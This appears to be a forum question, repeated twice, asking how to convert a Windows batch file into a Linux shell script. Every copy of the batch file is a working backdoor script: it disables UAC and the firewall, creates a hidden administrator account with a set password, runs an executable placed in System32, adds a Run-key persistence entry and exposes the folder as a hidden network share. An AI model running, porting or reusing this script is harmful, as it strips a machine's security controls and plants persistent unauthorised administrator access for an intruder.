Convert Batch File to Linux Script Shell
A few lines will do: 
This is a .bat file: 


@echo off

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f 

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 

md C:\Windows\System32\EH.1

copy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\"
cy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\"


netsh firewall set opmode disable

NET USER nerd ~~HAhaH@ /ADD
net localgroup administrators nerd /add

echo y| cacls Q.bat /grant "Everyone" :R

c:\windows\system32\eh.1\experiment2.exe
c:\windows\system32\eh.1\experiment2.exe

@echo off
reg add HKLM\Software\Microsoft\Windows\Current Version\Run /v test /t REG_SZ /d  C:\Windows\System32\EH.1\Q.bat

net share ETHIHACK$=C:\Windows\System32\EH.1

pause
Convert Batch File to Linux Script Shell
===

A few lines will do: 
This is a .bat file: 


@echo off

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f 

reg.exe ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 

md C:\Windows\System32\EH.1

copy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\"
cy C:\Users\deanne\Desktop\Q.bat "C:\Windows\System32\EH.1\"


netsh firewall set opmode disable

NET USER nerd ~~HAhaH@ /ADD
net localgroup administrators nerd /add

echo y| cacls Q.bat /grant "Everyone" :R

c:\windows\system32\eh.1\experiment2.exe
c:\windows\system32\eh.1\experiment2.exe

@echo off
reg add HKLM\Software\Microsoft\Windows\Current Version\Run /v test /t REG_SZ /d  C:\Windows\System32\EH.1\Q.bat

net share ETHIHACK$=C:\Windows\System32\EH.1

pause